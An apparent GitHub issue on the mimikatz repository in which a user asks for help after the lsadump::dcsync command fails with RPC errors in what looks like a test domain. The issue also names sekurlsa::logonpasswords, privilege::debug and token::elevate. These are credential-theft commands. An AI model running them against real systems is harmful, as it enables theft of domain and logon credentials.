search

gentilkiwi / mimikatz

A little tool to play with Windows security
http://blog.gentilkiwi.com/mimikatz
19.5k stars 3.74k forks source link

Mimikatz throws errors even with needed privilege #287

Open init5-SF opened 4 years ago

init5-SF commented 4 years ago

Hello, please help me this is urgent. I keep getting errors and I can't execute anything even though this account is local admin in this box and is member of the Administrators group in AD.

If i log off and log back in as NT SYSTEM, the local commands work (i.e. sekurlsa::logonpasswords) but the domain ones dont (i.e. dcsync)

  .#####.   mimikatz 2.2.0 (x64) #18362 Mar  8 2020 18:30:37
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:CHILD\administrator
[DC] 'child.test.local' will be the domain
[DC] 'dc01.child.test.local' will be the DC server
[DC] 'CHILD\administrator' will be the user account
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)

After i did TOKEN::Elevate, i get a different error: ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439)

can someone please help?

0xb0de commented 3 years ago

i have this error too

pub3B commented 3 years ago

i have this error too